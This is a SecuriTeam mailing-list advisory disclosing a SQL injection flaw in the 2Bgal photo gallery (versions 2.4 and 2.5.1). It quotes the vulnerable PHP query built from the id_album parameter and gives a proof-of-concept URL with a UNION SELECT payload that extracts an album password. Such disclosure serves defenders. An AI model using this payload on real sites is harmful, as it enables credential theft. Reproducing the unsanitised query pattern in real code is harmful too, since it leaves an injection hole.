The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
2Bgal SQL Injection Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.ben3w.com/> 2Bgal is fully customizable photo gallery. 2Bgal
is vulnerable at an SQL injection vulnerability through its id_album
parameter.
DETAILS
Vulnerable Systems:
* 2Bgal version 2.4
* 2Bgal version 2.5.1
Vulnerable code (disp_album.php(~53) and disp_img.php):
$chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");
Proof of concept (2Bgal with MySQL 4.x.x):
http://vulnerable/2bgal/disp_album.php?id_album=2 UNION SELECT passwd as
nom, idpere FROM galbumlist LIMIT 1; --
This code allows you to get password for the first album.
ADDITIONAL INFORMATION
The information has been provided by <mailto:zibelette@aol.com> zib zib.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
